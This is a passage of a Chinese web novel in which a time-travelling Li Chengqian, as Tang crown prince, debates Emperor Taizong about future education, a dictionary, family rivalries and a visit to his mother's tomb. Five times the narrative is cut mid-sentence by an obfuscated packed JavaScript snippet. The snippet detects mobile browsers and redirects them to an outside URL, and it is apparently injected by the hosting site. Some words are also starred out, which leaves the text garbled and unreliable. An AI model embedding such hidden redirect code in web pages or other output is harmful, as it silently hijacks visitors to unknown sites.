李承乾道:“陛下说的是人为活动,属于影响地形走势中的因素之一。” 李世民道:“还有其他因素?” 李承乾道:“地震,火山活动,高句丽属于环太平洋地震带且存在活火山,一千四百多年都不知道发生了多少次地震和火山爆发,主支山脉影响较小,可地形地势肯定会发生变化。还有风化侵蚀,山体滑坡、生物活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424296|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动等等。所以,臣只能给一个大致的山脉走向和河流分布的舆图。” ??李世民道:“你们后世的学生,要上多少年学,要学多少东西啊?” 李承乾道:“三岁入学,幼儿园差不多三年主要是学一些字母和笔画,十以内加减法算术。小学六年,前三年开设科目语文数学,以及美术、体育、音乐,后三年增设外语。初中有三年,语数外音体美之上继续开设物理、化学、生物、**、历史、地理。高一上半年同初中科目相同,下半学年分文理科,理科专攻物化生,文科以政史地为主。高三备战高考,进入高等学府之后,以语数外,物化生,政史地,音体美为主类,又细化了一堆的专业,这个太多了臣说不清。大学上有四年制,有五年制,大学最后一年上半年可以申报研究生考试,研究生的第二年或者第三年可以申请读博士,博士有三年制和五年制的,读完之后可以申请博士后,差不多就是这些。” 李世民听得直摇头,道:“三岁入学,三年幼儿园,六年小学,三年初中,三年高中,四年大学,只大学上完就二十二了,研究生和博士按照最短时间算需要五年,读完二十七,按照长一些时间算读完是三十岁。朕记得你说话,你读到研究生阶段,那就是二十四岁,二十四岁还是一个一事无成的学生。李承乾,你知不知道朕二十四岁的时候,一百骑兵吓退三万突厥大军,已经是大唐的秦王,天策上将、陕东道大行台,十二卫大将军,位在王公之上。所以,你为什么总想回去?回去了你也只是一个小吏,终你一生,你或许连你那个时代的皇帝都见不到。你今年二十一,在朕身边,你已经是大唐的太子,你的起点比朕二十四岁的时候还要高,朕给了你尚书令的权柄,一人之下,万人之上。” 李承乾顿了顿,皇帝这是在给他洗脑吗? “至于兵权,朕真的不敢给你,你有让朕当太上皇的心思,给了你之后,你哪天想走玄武门,废了你朕舍不得,陪你演戏朕得去当太上皇,朕嫌憋屈。有这样的身份地位和权力,你到底眷恋那个时代什么?” 第116章 等比数列 “陛下不曾见过那样的盛世,臣说再多,也是枉然。” 李世民道:“你的孙儿把你迁回长安,陪葬在父母陵寝,你应该很开心吧?” 李承乾摇摇头,道:“臣不开心,臣不想看见陛下,更不愿让母亲看到臣那副人不人,鬼不鬼的样子,她会伤心的。” “那你为什么说象儿于你,是不一样的?” 李承乾道:“他是除了母亲之外,第二个坚定选择臣的人,他看到了臣所有的阴暗不堪,却在得到臣一丝半点的善意过后,坚定的守护臣。哪怕他好心办了坏事,这份情意也永远值得臣珍视。” “你得到了象儿的孝顺,是否能理解,青雀为你母亲修佛龛,朕对他恩宠。” 李承乾道:“臣理解不了,母亲病重,臣在母亲活着的时候为母亲修佛龛祈福,为何得不到陛下的恩宠?那个时候青雀在做什么?他在忙着讨好陛下。陛下作为君王,难道不知道,给逝者哭坟,都是哭给活人看的吗?史书所载,陛下眼见为实,我李承乾对母亲的孝顺,从来都是她活着的时候。这种生前不问,专心为逝者哭坟的恶心事我可做不来。象儿在臣病重,守在床榻前衣不解带的照顾,臣临终前一句嘱托,愧疚他们母子三人,求他照顾太子妃和厥儿。他孝养太子妃,带大厥儿。臣临终一句哭喊,他父子穷尽两代心血送臣回母亲身边,太子妃也随着臣陪葬昭陵。陛下喜欢李泰是陛下的事情,陛下可以拿李泰来侮辱臣,因为臣不在乎。可是陛下,您少拿您那个惺惺作态,虚伪恶毒的儿子来侮辱我的象儿。” “李承乾!” 李世民扬起巴掌欲抽,李承乾丝毫不畏惧,直接迎了上去。 “臣说错了吗?他能做,臣不能说?您听不得?” 那一巴掌到底没落下,李世民深吸口气,换了个话题道:“那个盛世,让你那么眷恋吗?朕给了你这么多,都留不住你的心。” “陛下去洛阳快马加鞭要两三日,慢慢悠悠**日,臣在未来从长安发洛阳,坐高铁一个时辰。陛下的高血压,折腾您死去活来,在未来随便一个普通人都能买来降压药,让自己远离痛苦。这个差异,您能理解了吧?” 李世民内心的震撼难以言喻,长安发洛阳,一个时辰,从长安到洛阳,想都不敢想。 “降压药,你可以做出来?” 李承乾道:“母亲病重时臣侍疾,她的血压也很高,能做出来,臣都能给母亲续命了。” “继续聊聊大唐,就说雉奴那一堆儿孙,后面都是怎么治理大唐的。” 李承乾道:“臣没有降压药,也没有随身揣银针,您就别为难臣了。” “作为老祖宗,想要知道自己后世儿孙,这不是很正常吗?” 李承乾直接捂住耳朵,单方面结束讨论。 李世民直接扒拉开李承乾的手,道:“快说!” “您想弄死臣直说,臣可以自裁,别让臣背一个弑父弑君的罪名。” 李世民道:“不让你一次性说完,说一个朕可以接受的。” 一个皇帝,脸皮这么厚,李承乾实在不胜其烦。 “安史之乱,就是一日杀三子,纳儿媳为贵妃的那个皇帝,也是他允许节度使收税募兵,还把自己的龙袍加身给自己最信任的节度使,然后那个节度使**了,大唐由盛转衰,彻底不复……” “蠢材,不孝子孙!”李世民气大喘气,脸色顿时就红了,骂道:“兵权和税收,任何一个都能撼动一个王朝的根基,他全都下放出去,还给臣子披龙袍,蠢材,蠢材啊!” 李承乾道:“他一开始还是挺厉害的,效仿陛下贞观之治,一手……” “闭嘴!”李世民直接呵斥了李承乾,道:“效仿贞观之治,别拿他来侮辱朕。” “陛下和他还是有相似之处的,都是依靠政变走入权力中心,都送父亲做了太上皇,都进行了宗室清理,都废了首任太子……啊……” 肩膀被扣住,传来阵阵酸痛,李承乾越想越觉得气,脑袋一偏朝皇帝胳膊咬了一口。 李世民愣在当场,习惯了正经过招,这种野路子还是第一次见。 “松口,李承乾,你属狗的吗?” 李承乾道:“属兔,陛下不是叫臣兔崽子吗?有句话叫做,兔子急了咬人。陛下不松手,臣就再咬。” 李世民一把松开李承乾,斥道:“胆大妄为!” 李承乾揉着酸痛的肩膀,道:“要臣说的是陛下,听不得真相的也是陛下。” 李世民深吸一口气,找李靖教李承乾是对的,这个兔崽子实在欠,要他教他会忍不住**,万一失手了就出大问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424297|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “好好感谢你那弱不禁风的身板,不然的话,朕非给你几下不可。” 李承乾不语,皇帝被安史之乱牵动了火气,再说下去撩拨了皇帝的怒火,吃亏的是他。 车驾一路到东宫,这架势,皇帝又要来视察。 “您之前不怎么来东宫,现在是怎么了?天天都要来!” 李世民道:“你之前不是怨朕不到东宫,忽略了你的成长吗?” 李承乾道:“陛下您想的真多,那是臣没办法解释为什么突然学问突飞猛进,这才随便找了个借口搪塞。” 李世民:…… “朕去看你字典的编撰情况,最好能在制考前刊印出去。” 李承乾表示明白,他是主考官,扔出去一本字典,可以刷声望。 二人到崇贤馆,李象正愁眉苦脸盯着案上的宣纸,宣纸旁正是一册算术书,李承乾知道大概是给数学题难住了。 “象儿!” 李象看见来人,赶紧起身行礼。 李承乾一把将人抱起来,捏了捏儿子脸蛋,道:“这是怎么了?小脸皱巴巴成了一团。” 李象指了指案上的《九章算术》,道:“好难,儿可能在算术上也没什么天分。” 李承乾笑道:“人不要妄自菲薄,阿耶给你看看。” 将人放下,李承乾径直拿起李象放在案上的《九章算术》,又扫了眼李象的草稿。 “方田篇好学,粟米篇也还行,看先人给的注解思路,儿算出来的答案同书上给的答案是一样。衰分篇好难,第一题儿就不行了,儿问了房家伯伯,他也不会。” 李承乾轻笑,方田篇就是求三角形、圆形、梯形、长兴的面积,还是给的标准形,当然好学了。整理完房遗直他们挑出来的字,给李象出一张不标准的形计算。粟米篇就是单位换算之后,进行数的加减乘除运算,没什么太大难度,就一小学水平。 “今有牛、马、羊食人苗,苗主责之粟五斗。羊主曰:‘我羊食半马。’马主曰:‘我马食半牛。’今欲衰偿之,问各出几何?” 李承乾读完,古代版等比数列!!! “象儿乖,在你这个年纪,看不懂这题很正常。阿耶给你出几张卷子,咱先把方田篇和粟米篇融会贯通,再学其他的。” 第117章 后世教育 皇帝始终在主位上坐着,是不打算自己动手找字典了,李承乾打发走儿子,亲自取了字典给皇帝。 “加上之前的,这里统共是三千字,臣以南梁顾野王《玉篇》为准,对其中收录的16917字进行释义,还录进去了些自南梁至今新字,现在大概完成字数总额的六中之一。” 李世民道:“朕之前就很疑惑你这个排版,这是后世的排版?” 李承乾道:“字典是工具书,存在就是为了辅助学习。臣来的时代,小学一年级就要求配备,七岁的娃娃只要启蒙,就可以使用部首或者拼音进行查阅,大唐没有拼音,注音用的是反切法和直音法结合的方式。至于排版,陛下,当下的书《玉篇》《说文解字》之类,也算是字典,但太复杂了,没点儿文化根本看不懂。” 李世民道:“七八岁的娃娃都能用,那你直接拿那个时代的拼音标注。” 李承乾道:“我们那个时候可以用,是因为我们从小学拼音,眼下大唐的读书人没学过拼音,用拼音标注,部首查出来读不出来,这字典就废了一半。” 李世民道:“朕可以下诏,在大唐推行拼音。” 李承乾道:“不可能的,未来可以推广拼音,是因为义务教育,适龄孩子都有学上,能够将政令贯彻到底,大唐现在不具备这个条件。” 李世民道:“什么是义务教育?” 李承乾道:“简单一点的说,就是适龄儿童必须接受国民教育,是国家以法律的形式保护每一个人的受教育权,提高整体国民素质。义务教育之下,六七岁以上的孩子,如果没有到学校接受教育,且父母拒绝孩子到学校接受教育,父母是要吃牢饭的。” 李世民道:“学校有学费,还要给先生的束脩,那如果上不起学呢?” 李承乾道:“义务教育学费全免,只掏书本费,国家有补助,小学书本费一般不会超过三百块,初中在五百块前后,高中不在义务教育之内,学费和书本费要贵一些,不过绝大多数家庭掏的钱。老师的束脩,也就是工资,无论那个学段,都是国家发放,不需要家长掏。” 李世民道:“三百块放在那个时代,是个什么水平?” 李承乾道:“臣回来之前,二三线的普遍工资是三千块。只要父母要求不高,支撑九年义务教育是完全可以。” “后世的国家,别的不说,国库是真的有钱,能让全国适龄孩子入学,这是大唐目前做不到的。那么大学呢?大学贵不贵?” 李承乾笑道:“这得看上什么大学,本科一批和二录取,国家公立大学,学费一般不会超过五千块的。私立大学或者公私合办,那个费用就高了。” 李世民道:“承乾,你上的大学,那个小吏给你掏了多少学费?” 李承乾哈哈大笑,道:“家父家母一分没掏,臣高考成绩之后,母校就给了十万块奖励,直接包圆了四年大学开销,大学之中还有奖学金。家父家母每个月给零花钱,存到节假日,出去旅游采风。” “他们每个月给你多少零花钱?” 李承乾道:“三千块。” 李世民道:“折算到贞观年间是什么水平?” 李承乾道:“当下一斗米五文钱,一贯钱可买二十石米。唐制一石米折合现代一百三十斤,买一石最便宜的米三百块左右,折合下来,贞观年一贯钱约等于六千块。” 李世民道:“你现在的俸禄是多少?折合那个时代多少钱?” 李承乾道:“八千钱,折合起来是五万块左右。” 李世民道:“你在后世做小吏,一个月俸禄多少?” 李承乾道:“四千多块。” 李世民道:“那个小吏一个月给你三千块,你的工资也才四千块,朕一个月给你五万块零花钱,你为什么不想点儿朕的好?” 李承乾:……… “时代不一样,这不是一个可以讨论的话题。” 不讨论就不讨论,李世民道:“那个字典,你能写得快一些吗?” 李承乾道:“当然可以,陛下给臣批假。” 李世民道:“一个多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427166|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月三千多字,还是在忙着前朝事宜的前提条件下,朕给你批五个月的假,能不能弄完?” 李承乾道:“崇贤馆人手不够,陛下能再抽调些人进来吗?” 李世民道:“可以,朕下令再调一批,朝中尚未领职的功臣子弟进崇贤馆帮你。” 李承乾拜了一拜,道:“多谢陛下。” “未来三个月,耤田礼你必须参加,朕的耤田你必须去照顾,其他的时间你都可以扑到字典上面。朕希望在今年五月份,能看到《贞观字典》问世。” 李承乾道:“陛下放心,臣必定不辱使命。” 李世民笑而不语,只有在涉及公事的时候,他和李承乾才会心平气和讲话。不过,同李承乾斗嘴,也挺好玩儿的。 李承乾道:“在此之前,臣可以抽出两日时间去九嵕山拜祭母亲吗?臣有很多的话,想跟母亲说。” “朕让有司安排。” 太子祭母,是仁孝之举,李承乾明白皇帝的意思,有司安排,仪仗从京师到九嵕山,沿途官员百姓看了,都要称颂太子仁孝,可于他而言母亲真心疼爱他,不能被当做商品消费。 “不要大张旗鼓,臣就想换了便装,安安静静的去九嵕山,同母亲说些话。” 李世民思索片刻,道:“行,朕让常何领十个玄甲军士,随行保护你的安全。” 李承乾谢过皇帝,又想起魏叔玉等人在崇贤馆的怨声载道。 “陛下,您能不能别老去刺激大臣们,您知不知道,房遗直他们为这些事情,在崇贤馆怨声载道。” 李世民道:“谁不望子成龙?望女成凤?” 他失而复得的孩子,凭什么不能说? 李象能看懂《九章算术》的方田篇和粟米篇,又是一个挤兑魏征的话题,他怎么可能会放过? “承乾,你说他们费尽了心血,用后世的教育,培养出这么优秀的你,骤然失子,是怎样的生不如死?” 一刀捅进李承乾心窝里,李世民拔腿就跑,丝毫不给李承乾回嘴的机会。 第118章 零花钱 父母,是李承乾心中永远的痛,他的运气并不好,轮回之中多是孤寡,鲜少有父母两全的时候,遑论碰到高家父母那种全身心爱自己孩子的父母。 斗嘴时间长了,皇帝也是知道怎么诛心的,李承乾缓缓回到自己位上落座,眼泪不受控制的往下掉。 李世民从东宫回甘露殿心情大好。李治和兕子进来拜见。 获悉废太子后面那些破事,李世民对李治有些芥蒂,后代子孙不成器能理解,古人都说了君子之泽,五世而斩。 武才人那个事情,他是真的恶心,倒不是他有多喜欢武才人,一个妾室随便送人都行,但自己儿子在病榻前跟自己的妾室勾搭,就让他很不舒服了。 照着他原本的意思,直接杀了武才人,可李承乾的话在理,若武代李兴是天数,杀了一个武氏,还会出另一个武氏,就是杀光天下所有姓武的人,也还会有别的变数来合天数。 思来想去,李世民放下杀心,道家讲究道法自然,把人留着,不去干涉,只要李承乾这子孙一脉不跟武氏扯上关系就行。 到底是自己儿子,气过之后,李世民仍然疼爱,招手示意李治上前,学着李承乾教导李象的样子。 “阿耶那日头疼的厉害,让雉奴受委屈了。” 李治靠在父亲怀里,眼泪直往下落,道:“张翁过来通知,要宫人替儿收拾东西,上元节过后儿就要搬出宫了,阿耶不要儿了吗?” 李世民叹气,若他一开始不抬举李泰跟李承乾打擂台,同贞观七年之前那样,悉心教导李承乾,何至于父子再走一趟玄武门,更别提武氏篡唐那档子破事了。 “你是阿耶同你阿娘的儿子,阿耶不能把你交给宫妃抚养,阿耶留你在身边,日理万机也没太多时间教导你,你去晋王府,也是一样的,这也是朝廷的规矩,你其他几位兄长我都是早早地去王府,等到成年了去封地就藩。” 兕子坐在一旁啃糕点,无视九兄投过来的目光,她只有六岁却是早慧。舅父同她说了大兄与四兄的太子之争,九兄留在父亲身边,迟早要走四兄的路。 大兄疼她,四兄之前也常见,九兄更是同她一起长大,她不愿四兄同大兄争完,九兄再同大兄争,几位兄长最后拔剑相向,父亲夹在其中左右为难。 一众儿女里头,父亲最是疼爱她,九兄一定要拉她过来,就是想让她开口向父亲求情,她不明事理就罢了,明白这其中险恶,自然只能装傻充愣了。 “阿耶,儿舍不得阿耶,舍不得兕子,儿与兕子一同长大,儿舍不得她。” 说到兕子,李世民泪水涟涟,废黜李承乾之后,立了李治为太子,李治要上朝,兕子拉着李治衣角哭,舍不得兄长离开,想到兕子他又开始质疑自己的决定。 九兄提到自己,兕子放下糕点,道:“九兄将来有了嫂嫂,还是要舍下兕子啊!” 李治一愣,他就是不想离开宫中,才拉了兕子过来,父亲疼爱兕子,兕子跟着一起求情,父亲肯定就能打消送他出去的念头。 听女儿这么一说,李世民瞬间清醒,他将怀里的李治扒拉开,正色道:“朝廷有朝廷的法度,各回各位才是安排。上元节过后,你就搬出甘露殿,去晋王府吧!” 李治垂下眸子,眼泪流的更凶,问父亲:“是大兄要儿搬出去吗?” 李世民一时没反应过来,道:“这同你大兄有什么关系?雉奴为什么要这么说?” 李治哭着道:“阿耶之前说的,大兄巴不得您把四兄送的远远儿的,如今也要轮到儿了吗?可儿与四兄不一样,四兄与大兄不睦,儿从未同大兄交恶,儿只想同两位兄长一起孝顺阿耶。” 李世民擦了眼泪,勾搭他的妾室,不让嫡亲的兄长为他奔丧,再把庶出的兄弟姊妹清理一遍,李治的孝顺,要一次已经险些把他气**,再要一次他受不了。 “你只知你大兄和你四兄不睦,却不知次次都是你四兄挑衅在前,你其他几位兄弟姊妹不曾冒犯过你大兄,你大兄对他们是极好的。你大兄对你也很好,有什么好吃的,好玩的,都会给你们兄弟姊妹送一份,为什么会觉得你大兄容不下你?” 李治有些城府,可到底年幼,面对父亲还是有些不够看。 李世民是看出来,自己三个嫡子,除了李承乾,个个都是会演戏的。 李承乾,想到这个孩子,李世民不由得苦笑,李承乾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427167|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性子,一千多年也没改多少,只是把身上的浮躁磨平了,多了一身的才学,一如既往的喜欢实干,不喜欢矫饰,勉强矫饰也漏洞百出,一眼就能看出破绽。 他们若不是父子,只是君臣,这样只喜欢干实事,不喜欢装腔作势的大臣,足以担得起他托孤之重。可他们偏偏是父子,李承乾是个不会哭的孩子,很难得到他多余的偏爱。 李治含泪道:“那阿耶为何要送儿出宫?” 李世民道:“朝廷的法度,身为皇帝,阿耶要带头遵守法度。” 李治道:“若是如此,那四兄此刻就应该去就藩,可他还在京师,阿耶就是不疼儿了。” 李世民陷入缄默,就是不愿意这三个孩子拔剑相向,他才要趁早送走李治,这小子以为他不想送走李泰吗?他也想,只是在等一个可以名正言的理由,收回李泰身上逾制的封赏。凭空收回,他怕李泰心生怨恨,闹出事来。三个孩子,他一个都不想伤害。 “等阿耶忙完了这阵子,就送你四兄去就藩。” 李治心下一沉,父亲疼四兄远胜于他,能说出送走四兄的话,是真的想要送走他。 “阿耶今日乏了,你们先下去歇息。” 说罢,也不等两个孩子同意,招来乳母将李治和兕子带下去,兕子正欲啃第三块糕点,想起大兄嘱咐,甜食,奶类,油脂,盐味厚重的东西少吃,她又悻悻的放下糕点。 送走两个孩子,李世民唤来张阿难,吩咐道:“从朕的私库划一万钱给太子,每个月发放俸禄时跟着下去,不录入官中。” 张阿难笑道:“陛下这是要给殿下长俸禄,也是,殿下拿着尚书令大印,行使尚书令的权柄,多一份俸禄应该的。” 李世民道:“太子的俸禄国家律法在那里摆着,他有尚书令之权又无尚书令之名,怎么好给他长俸禄?引来御史**朕嫌烦,私下划给他,只是父亲给儿子的零花钱。” 张阿难不言,高祖当年给了三个铸钱炉,可皇帝那时是秦王,宫外能把钱用出去,太子一天窝在东宫里出不去,又不购置奢侈品装饰东宫,东宫又有份例,零花钱再多也是堆在那里发霉,这个赏赐用处真的不大。 第119章 飞来横锅 哭的太久,翌日眼睛肿的都僵了,李承乾不好意思出去见人,直接给皇帝上了奏疏告假。 一月份的长安,弄些冰块来非常容易,李承乾又是冰敷又是按摩,折腾了许久,苏氏派人过来邀请共用早膳,李象早起请安拜见,他都推拒了。 早朝提起太子编撰字典之事,李世民大手一挥批了四个月的假,又道是崇贤馆人手不够,要从朝中三品以上官员家里在抽一批子弟临时参与编撰。 自家儿子什么水平,众大臣心中有数,谈不上目不识丁,但编撰字典完全不够格,就是给太子打下手,帮忙搬书找字,找对应的摘句,然后抄录下来,送交太子,最后由进行审阅删减,归纳排版成册。 大佬有能力,且愿意带着自家儿子刷名望,众大臣哪有不愿意的,早朝皇帝口诏出来,下了朝立刻写了疏,把自家儿子卖出去。 折腾了许久,眼睛肿的总算没那么厉害了,李承乾换了便装出寝殿,迎上房遗直等人的目光,在座的都是人精,都自觉不提太子眼睛为什么肿的,仍是和从前一样,一边忙着手里的活,一边吐槽。 “父亲故友来信,说要送来只白色的寅将军,这还没送来,他老人家拐杖都不拄了,亲自给收拾窝,那叫一个上心啊!” 李承乾心下狂喜,李靖养的老虎,他是可以撸到的,撸完金渐层,撸银渐层,爽!太爽了! “那个银……寅将军,白色的那个,什么时候送到卫公府中?” 李德謇一抬头,对上太子跃跃欲试的目光,昨日皇帝和太子驾临卫国公府,太子撸虎的事情他知道,他觉得他有必要把父亲的暴脾气跟太子说一下。 “殿下,家父脾气看着还行,但教起人来,那是好不了一点。臣幼年有幸被家父教过,三两句听不懂,就直接动手了。” 李承乾笑笑,古今都是一样,绝大多数老师教得好别家孩子,教不好自家孩子。 “放心,卫公最多感叹我不成器,动手的可能性不大。” 李德謇思索片刻,觉得有道理,道:“也对,殿下是太子,父亲就是教不会,也不会动手。” “陛下批了我四个月的假期,用来编撰字典,我有事要耽搁一日,大家同之前一样,找出来抄录完了放在孤案头,我忙完了回来整理。” 李崇真道:“臣等天不亮就来翻书,找了一日殿下两个时辰就整理完了,殿下不上朝,专心此事,臣等哪来得及?” 李承乾道:“所以,我向陛下上疏,再抽调一批人手临时过来帮忙。陛下给了四个月时间,满打满算我按三个月用。编撰出来之后,还要协同当时名儒进行审核校正,确认无误才能刊印发行。” 尉迟宝琳道:“好啊!到时候字典刊印出来,我第一个买,我家老爷子再说我没文化,字典直接摔他脸上。” 众人不语,真是大孝子啊! 李承乾笑而不语,以他对皇帝的了解,《贞观字典》审核校正出来,刊印的第一批肯定先赏赐功臣,然后顺道炫耀一下自己的文治武功。 常何领着玄甲军十人,还多了尉迟恭,统共十二人,早就换了便装,在东宫嘉福门外等着,看到太子出来,遂下拜行礼。 李承乾喊了一声免礼,除了皇帝没人使唤的动尉迟恭,他自然不会多问,寒暄几句过后,同众人出了宫纵身上马一路往九嵕山方向去。一个多时辰,李承乾一众就到了昭陵。 母亲出殡,他吐血昏倒不曾亲自送灵。宫中有供奉母亲神位的殿宇,此后祭奠他都是随着皇帝在宫里拜祭。 时隔千年,再次踏上昭陵的旧土,李承乾的心仍然忍不住一阵一阵的抽痛,一千多年,哪怕降生在长安,他都没来过昭陵。 脚下如灌了铅般沉重,为母亲上过香,李承乾一步步走到文德皇后碑前跪下,千言万语此刻最后都只化作一句:“母亲,承乾不孝,承乾让您失望了。” 尉迟恭和常何自觉退到百步之外,看着太子在皇后碑前痛哭,默默等着太子哭完。 回途之中路过香积寺,李承乾不由得驻足观望。 香积寺之战,这一战再造大唐,也几乎耗尽了大唐的精锐。 李承乾下马,郑重的对着香积寺拜了三拜。 尉迟恭与常何不明就里,只是跟着一起拜。 李承乾赶在宫门下钥前回东宫,眼睛肿了他不好意思去见苏氏,可一想到昨日回宫被皇帝拖着,后面又被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431220|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话干破防,哭了大半晚上,没去见苏氏,今晨苏氏派人过来请他也拒绝了。 孕期的人容易多思,李象又在崇贤馆等他,他不去苏氏误会了,惹得家宅不宁没意思。 苏氏看到李承乾肿着眼睛,心下一惊,李承乾赶忙解释道:“去祭奠母亲,一时动情,让苏卿见笑了。” 太子听罢,这才松了口气,还以为又是天家父子闹不和。 “妾身想请殿下为这个孩子再取一个名字。” 李承乾思索片刻,道:“苏卿是怕生了个女儿,我之前定下的名字用不上?” 苏氏点点头,道:“无论儿女,妾身都一样他可以带着父亲的祝愿出生。” 李承乾点头应下,陪苏氏用过晚膳,苏氏想要夫婿陪她,可她知道夫婿心中没什么男女之情,留在身边没意思。 字典编成意味着什么,苏氏心中有数,她知道夫君赶着回去整理崇贤馆那一堆文稿,便直接开口放人。 李承乾叮嘱了几句,离开丽正殿去崇贤馆,推开门就看到了一个让他十分头大的人。 “陛下过来就过来,还吩咐宫人不许通报。” 李世民道:“只能说明你无能,连个心腹都没有,否则也不至于连朕来了都不知道。” 李承乾道:“陛下吩咐了不许通报,有人向臣通报了。陛下追究下来,臣御下无方,使下人违逆上意,不知罪在谁?” 馆内沉默良久,气压闷沉让人喘不过气来。 李世民笑了,不错,普天之下,天下万民之君只有一位,那就是皇帝,皇帝说不让通报,那就不能有人通报。 “朕收回之前的话,我的承乾是有难言之隐,不是阳奉阴违。” 早晨出来没看见杜荷,这会子皇帝又来了。 “杜荷是个很有才华的人,只是效命错了主君,陛下将他调离东宫,臣不敢置喙,但求陛下莫要伤他性命。” 李世民:…… 真是好大一口锅! 他来找李承乾,还是为了高句丽的事情。 李承乾能去高句丽旅游,说明后人打下了高句丽,还进行了有效治理,他就来了解一下后人打高句丽的经验。 第120章 往事 “你要是不说,朕都忘了有杜荷这号人物。” 李承乾一惊,忙向皇帝致歉:“今晨没在崇贤馆看到杜荷,他是第一个劝臣谋反的人,是臣妄言,请陛下恕罪。” 李世民道:“承乾,侯君集、杜荷、李安俨、赵节等人鼓动你谋反,如今朕也知道这些事情,你就一点处置都没有。” 李承乾道:“陛下,如果臣回到了贞观十七年谋反的前夕,臣先杀纥干承基,不让他提前把事情捅出来,连夜再向陛下揭露侯君集等人要谋反,弃车保帅。” 李世民笑道:“**谋反,太子什么都不知道,承乾不觉得可笑吗?” 李承乾道:“臣同他们商议谋反,一直都是口头上,没有任何书信往来,更没有任**物可做证据。就算侯君集和杜荷说臣也参与了,臣咬死不承认,他们也无可奈何。 陛下不愿意瘸子做大唐太子,也不愿意真的要了儿子的命,不是吗?此事过后,臣引咎上疏请辞太子,臣相信陛下,即便猜出内情也会放臣一马。顺势同意臣的请求,降封王爵,打发出长安,眼不见,心不烦。” 李世民笑了笑,若曾经李承乾真的这么干,他的确会装糊涂保下李承乾,顺势换一个新太子。 “陛下,杜荷、侯君集等人之罪,罪在前生,他们前生已经受过惩罚,眼下什么都没有发生,他们依旧是陛下的臣子,是可用之才,陛下放开手用就是了。” 李世民道:“若杜荷和侯君集这一世,再来鼓动你谋反呢?” 李承乾道:“不会的,杜荷敢说是忖度出了臣有那个意思,只是差一个人点破,就像当年的玄武门之变,舅父他们也是忖度陛下的意思,才敢说那些话。 侯君集是臣主动联系的,臣之所以找他,一来,他自己做了错事受罚对陛下心存怨恨。二来,代北士族需要延续荣光,没有比从龙之功更好的途径。三来,他那个人高傲自大,甚少有他能瞧得上的,他的心里臣性子软弱怯懦好掌控。 只要臣没那个心思,杜荷他就只是个干吏。至于侯君集,变数有些大,陛下让人盯着就是了。” 李世民哂笑,明知他最厌恶突厥人,披发慕胡。知道他察纳雅言,就放出狂言杀光进谏的大臣,可他几乎年年让李承乾监国,也没见李承乾任命一个突厥人为官,没趁机杀一个进谏的大臣。小孩子把戏,故意恶心他,可大事上不会含糊,不然他哪里敢让李承乾监国。 敢明着同君父对着干,明知实力悬殊,还敢邀请人一起搞谋反,李承乾性子软弱好掌控?有时候真想扒开侯君集的脑袋,看看里头装了些什么东西。 “承乾,皇帝不允许一个瘸腿太子的存在,父亲会心疼瘸腿的儿子,如果你真的那么做了,降封王爵过后,朕给你的尊荣比朕曾经给李泰的只多不少。朕会封你为秦王,给你万户的封邑,甚至铸钱炉朕都可以给你一个,让你安享一生富贵。” 